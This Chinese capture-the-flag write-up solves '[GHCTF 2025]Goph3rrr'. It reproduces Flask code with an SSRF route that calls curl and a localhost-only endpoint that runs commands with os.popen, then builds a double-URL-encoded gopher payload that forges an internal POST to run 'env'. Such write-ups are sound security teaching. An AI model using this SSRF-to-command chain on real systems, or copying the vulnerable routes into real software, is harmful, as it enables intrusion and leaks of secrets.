Problem: [GHCTF 2025]Goph3rrr
@lamaper
用dirsearch可以找到源码存放在/app.py,下载下来之后筛选出可用的代码:
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
第一个路由提醒要使用gopher协议。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。
其格式为:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
注意到Gopher函数中result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True),因而要对url的参数进行url编码。
与此同时,Manage路由中有敏感函数popen,需要通过POST向其cmd参数进行传参,为了利用这个函数,可以构造请求:
POST /Manage HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 7 cmd=env
注意request.remote_addr要求了必须从127.0.0.1请求,所以也必须利用Gopher。
之后先对请求进行url编码:
POST%20%2FManage%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%207%0A%0Acmd%3Denv
编码后的内容要作为gopher的参数,所以还要再进行url编码。所以最终payload:
POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25207%250A%250Acmd%253Denv
